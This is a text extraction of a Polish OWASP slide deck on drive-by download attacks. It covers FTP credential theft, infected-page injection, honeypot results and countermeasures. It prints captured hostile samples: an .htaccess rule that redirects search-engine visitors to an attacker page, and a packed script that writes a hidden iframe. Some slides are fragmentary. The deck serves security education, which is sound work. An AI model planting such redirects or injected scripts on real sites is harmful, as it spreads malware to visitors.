
67dd9a1fa5586054708fe5369778164d.ppt
- Количество слайдов: 57
Ataki drive-by download Filip Palian filip. [email protected] edu. pl OWASP Education Project Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
Rozkład jazdy Drive-by download – co to takiego? Dlaczego problem istnieje? Kogo dotyczy problem? Skala problemu Z życia wzięte Studium przypadku Dekodowanie Przeciwdziałanie Przyszłość Co na to OWASP? OWASP
Drive-by download – co to takiego? Pobranie z sieci szkodliwego oprogramowania bez zgody i/lub wiedzy użytkownika OWASP
Dlaczego problem istnieje? Błędy w przeglądarkach oraz dodatkach Błędy w stronach internetowych (wstrzyknięcia) Nieświadomość i lenistwo użytkowników Brak (stosowania) odpowiednich zabezpieczeń Botnety SPAM (D)Do. S OWASP
Dlaczego problem istnieje? $ Pieniądze $ Władza $ Polityka = (pieniądze + władza) $ Religia = (pieniądze + władza) OWASP
Kogo głównie dotyczy problem? Użytkownicy przeglądarek internetowych Użytkownicy kont FTP + WWW Twórcy stron internetowych Firmy hostingowe OWASP
Skala problemu http: //web. archive. org/web/20080525170526/http: //top 100. pl/ OWASP
Skala problemu (home. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 12824 OWASP
Skala problemu (netart. pl) http: //www. google. com/safebrowsing/diagnostic? site=AS: 15967 OWASP
Skala problemu (fastpark. net) http: //www. google. com/safebrowsing/diagnostic? site=AS: 13727 OWASP
Skala problemu c. d. Go. Daddy (AS 26496) Dreamhost (AS 26347) Akamai (AS 20940) Microsoft (AS 8075) Google (AS 15169) OVH (AS 16276) OWASP
Skala problemu c. d. Źródło: http: //www. cert. pl/PDF/Raport_CP_2009. pdf OWASP
Z życia wzięte (a. k. a. cyferki++) Na przykładzie danych zebranych w okresie VIII 2008 – III 2010: 44042 233 70 (wykryte) zainfekowane pliki (wykryte) domeny rodzajów szkodliwego oprogramowania OWASP
Z życia wzięte c. d. 2008 2009 2010 OWASP
Z życia wzięte c. d. Kwi Lip 2009: Korea Pn. wystrzeliwuje rakietę Taepodong-2 Trzęsienie ziemi w Meksyku 2009: Paź Lut Zamachy terrorystyczne na hotele w Dżakarcie Śmierć Michaela Jacksona 2009: Barack Obama laureatem pokojowej nagrody Nobla 2010: Igrzyska olimpijskie w Vancouver Trzęsienia ziemi na Haiti i w Chile OWASP
Z życia wzięte c. d. Źródło: http: //cert. gov. pl/portal/cer/8/298/Cyberprzestepcy_wykorzystuja_tragedie_narodowa_aktualizacja OWASP
Z życia wzięte c. d. OWASP
Studium przypadku 1. Ofiara odwiedza zainfekowaną stronę WWW 2. Malware na stronie wykorzystuje błąd w oprogramowaniu 3. Kradzież danych dostępowych do konta FTP 4. Zalogowanie się na konto FTP i pobranie plików 5. Dodanie szkodliwej treści do pobranych plików 6. Wgranie na serwer FTP zainfekowanych plików OWASP
Studium przypadku c. d. Środowisko testowe honeypota: VMware MS Windows XP Professional SP 2 Systemowy firewall AVG 8 Adobe Reader 9. x MS Internet Explorer 6. x Capture HPC (The Honeynet Project) OWASP
Studium przypadku c. d. 1. Ofiara odwiedza zainfekowaną stronę. Gdzie takie znaleźć? http: //www. google. com/safebrowsing/diagnostic? site= http: //stopbadware. org/reports/ip http: //stopbadware. org/reports/asn http: //www. malwaredomainlist. com/mdl. php Co się dzieje na tym etapie? OWASP
Studium przypadku c. d. OWASP
Studium przypadku c. d. 2. Malware na stronie wykorzystuje błędy w oprogramowaniu Przeglądarki (głównie IE, FX, Opera) Wtyczki (Adobe Reader, Real. Player, Active. X etc. ) Silniki skryptowe (np. Sea. Monkey, JScript, Rhino) No dobrze, i co dalej? OWASP
Studium przypadku c. d. OWASP
Studium przypadku c. d. OWASP
Studium przypadku c. d. OWASP
Studium przypadku c. d. OWASP
Studium przypadku c. d. Efekt? OWASP
Studium przypadku c. d. Co nas uderzyło? Trojan Fake. Rean Co robi ten trojan? Win 32/Fake. Rean podszywa się pod oprogramowanie antywirusowe i wyświetla nieprawdziwe informacje o zainfekowanych plikach w systemie. Następnie informuje użytkownika o tym, że musi on zapłacić za usunięcie zagrożeń, które nie istnieją. Gdzie znajdę więcej informacji? http: //www. microsoft. com/security/portal/Threat/Encyclopedia/Entry. aspx? Name= Win 32%2 f. Fake. Rean OWASP
Studium przypadku c. d. 3. Kradzież danych dostępowych do konta FTP (i nie tylko) Sniffery Keyloggery Serwery proxy Zapamiętywanie haseł w aplikacjach OWASP
Studium przypadku c. d. 4. Zalogowanie się na konto FTP i pobranie plików Jan 9 Jan 9 (. . . ) Jan 9 16: 51: 00 16: 51: 01 16: 51: 02 foo foo foo pure-ftpd: pure-ftpd: (? @x. x) [INFO] New connection from x. x (? @x. x) [INFO] ftpuser is now logged in ([email protected] x) [NOTICE] /srv/www/foo/index. html downloaded ([email protected] x) [NOTICE] /srv/www/foo/index. php downloaded ([email protected] x) [NOTICE] /srv/www/foo/bar/index. html downloaded ([email protected] x) [NOTICE] /srv/www/foo/tmp/index. htm downloaded 16: 51: 03 foo pure-ftpd: ([email protected] x) [INFO] Logout. OWASP
Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików Przed “” W “
Studium przypadku c. d. 5. Dodanie szkodliwej treści do pobranych plików $ tail -4 index. html OWASP
Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików Jan 9 Jan 9 (. . . ) Jan 9 16: 52: 00 16: 52: 01 16: 52: 01 16: 52: 02 foo foo pure-ftpd: pure-ftpd: (? @x. x) [INFO] New connection from x. x (? @x. x) [INFO] ftpuser is now logged in ([email protected] x) [NOTICE] /srv/www/foo/. htaccess uploaded ([email protected] x) [NOTICE] /srv/www/foo/index. html uploaded ([email protected] x) [NOTICE] /srv/www/foo/index. php uploaded ([email protected] x) [NOTICE] /srv/www/foo/bar/. htaccess uploaded ([email protected] x) [NOTICE] /srv/www/foo/bar/index. html uploaded ([email protected] x) [NOTICE] /srv/www/foo/tmp/jquery. js uploaded 16: 52: 03 foo pure-ftpd: ([email protected] x) [INFO] Logout. OWASP
Studium przypadku c. d. 6. Wgranie na serwer FTP zainfekowanych plików $ cat. htaccess Rewrite. Engine On Rewrite. Cond %{HTTP_REFERER}. *google. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *aol. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *msn. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *altavista. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *ask. *$ [NC, OR] Rewrite. Cond %{HTTP_REFERER}. *yahoo. *$ [NC] Rewrite. Rule. * http: //x. x/in. html? s=xx [R, L] OWASP
2)" src="https://present5.com/presentation/67dd9a1fa5586054708fe5369778164d/image-35.jpg" alt="Przykłady szkodliwego oprogramowania 1) 2)" />
Przykłady szkodliwego oprogramowania 1) 2) php echo ''; ? > 3) OWASP
Przykłady szkodliwego oprogramowania c. d. 5) #', '', $s); if(stristr($s, '
Dekodowanie (na szybko ; -p) no. Script i alert() prawdę Ci powiedzą. OWASP
Dekodowanie c. d. no. Script: OWASP
Dekodowanie c. d. alert() na przykładzie Exploit. HTML. IESlice. h: Przed: Po: OWASP
Dekodowanie c. d. alert(): OWASP
Przeciwdziałanie Jak można się bronić o ile w ogóle? W kontekście: Badaczy Po stronie serwera Po stronie klienta OWASP
Przeciwdziałanie (research) Narzędzia do analizy szkodliwego oprogramowania: http: //stopbadware. com http: //unmaskparasites. com http: //malzilla. sourceforge. net/index. html http: //wepawet. iseclab. org http: //virustotal. com (hispasec) http: //virusscan. jotti. org http: //anubis. iseclab. org http: //badwarebusters. org/community/submit http: //www. secureworks. com/research/tools/caffeinemonkey. html http: //www. google. com/safebrowsing/report_badware/. . . OWASP
Przeciwdziałanie (research) c. d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: W większości są to rozwiązania on-line i/lub wymagające interakcji użytkownika Stosunkowo długi czas analizy plików OWASP
Przeciwdziałanie (serwer) Dostępne rozwiązania: Pro. FTPD + mod_exec Pure-FTPd + uploadscript Firewalle aplikacyjne (WAF-y) Systemy IDS/IPS Antywirusy OWASP
Przeciwdziałanie (serwer) c. d. Zalety: Możliwość implementacji własnego rozwiązania z FTPD Blokada “wstrzyknięć” przez WAF-y Wady: WAF-y nie posiadają sygnatur dla szkodliwego oprogramowania Antywirusy słabo rozpoznają szkodliwe oprogramowanie Systemy IDS/IPS nie posiadają sygnatur dla szkodl. oprogr. Brak możliwości zabronienia wgrania na serwer zainfekowanych plików OWASP
Przeciwdziałanie (serwer) c. d. Przykład własnego rozwiązania opartego na: Pure-FTPd + uploadscript + skrypt bash Gdyby ktoś był ciekaw. . . Rozwiązanie stabilne, sprawdzone w środowisku produkcyjnym (serwer i ~2000 klientów) z liczbą false positive bliską “/dev/zero”. OWASP
Przeciwdziałanie (serwer) c. d. -- cut -# "THE BEER-WARE LICENSE": #
Przeciwdziałanie (serwer) c. d. Zalety: Wysoki stopień wykrywalości szkodliwego oprogramowania Wady: Stworzenie nowej sygnatury poprzedza infekcja Brak możliwości zabronienia wgrania na serwer zainfekowanych plików Utrzymanie i rozwijanie rozwiązania wymaga czasu i środków OWASP
Przeciwdziałanie (klient) Antywirusy? Należy korzystać z antywirusów! Źródło: http: //www. virustotal. com/pl/analisis/f 6 f 3 ebbbd 571 d 208 b 6941 fe 811 a 55 b 14 d 447 cd 94 e 1 e 3 c 0 fbc 5 fec 4 a 7 f 2 d 64975 -126 OWASP
Przeciwdziałanie (klient) c. d. Zalety: Dobry zaktualizowany antywirus być może nas ochroni Wady: Stosunkowo słaba wykrywalność szkodliwego oprogr. Potrzeba codziennej aktualizacji bazy sygnatur Duże prawdopodobieństwo, że dobry zaktualizowany antywirus nie wykryje zagrożenia OWASP
Przeciwdziałanie (klient) c. d. Przeglądarki internetowe: Zainstalowanie dodatku “No. Script” dla FX! Wyłączenie zbędnych opcji i pluginów, np. : Cookies (whitelisting) Java ( Kurnik; -( ) Java. Script (whitelisting) Adobe Reader (pobrać, przeskanować, otworzyć) Real. Player Aktualizacja oprogramowania! OWASP
Przeciwdziałanie (klient) c. d. Zalety: Znaczne zwiększenie bezpieczeństwa Wady: Nieco utrudnione korzystanie z przeglądarki (przyzwyczajenie!) OWASP
Przyszłość Identyfikacja szkodliwego oprogramowania jeszcze trudniejsza przez podszywanie się pod np. : Packery Staty Optymalizatory (Ion. Cube, Encode, itp. ) OWASP
Przyszłość c. d. Packer: eval(function(p, a, c, k, e, r){e=function(c){return c. to. String(a)}; if(!''. replace(/^/, String)) {while(c--)r[e(c)]=k[c]||e(c); k=[function(e){return r[e]}]; e=function(){return'\w+'}; c=1}; while(c--)if(k[c])p=p. replace(new Reg. Exp('\b'+e(c)+'\b', 'g'), k[c]); return p} ('3. 4("<0%5%6%7%2%1=\"8: //%1%9%0%a%b%0%c%1%d%e%f%2\" g=\"h : i\">"); ', 19, '69|65|6 d|document|write|66|72|61|http|76|6 c|73|74|2 e|63|6 f|style| visibility|none'. split('|'), 0, {})) Staty: OWASP
Co na to OWASP? http: //www. owasp. org/index. php/Category: OWASP_Season_of_Code OWASP
Pytania/uwagi/sugestie/opinie ? OWASP
Dziękuję za uwagę ; -)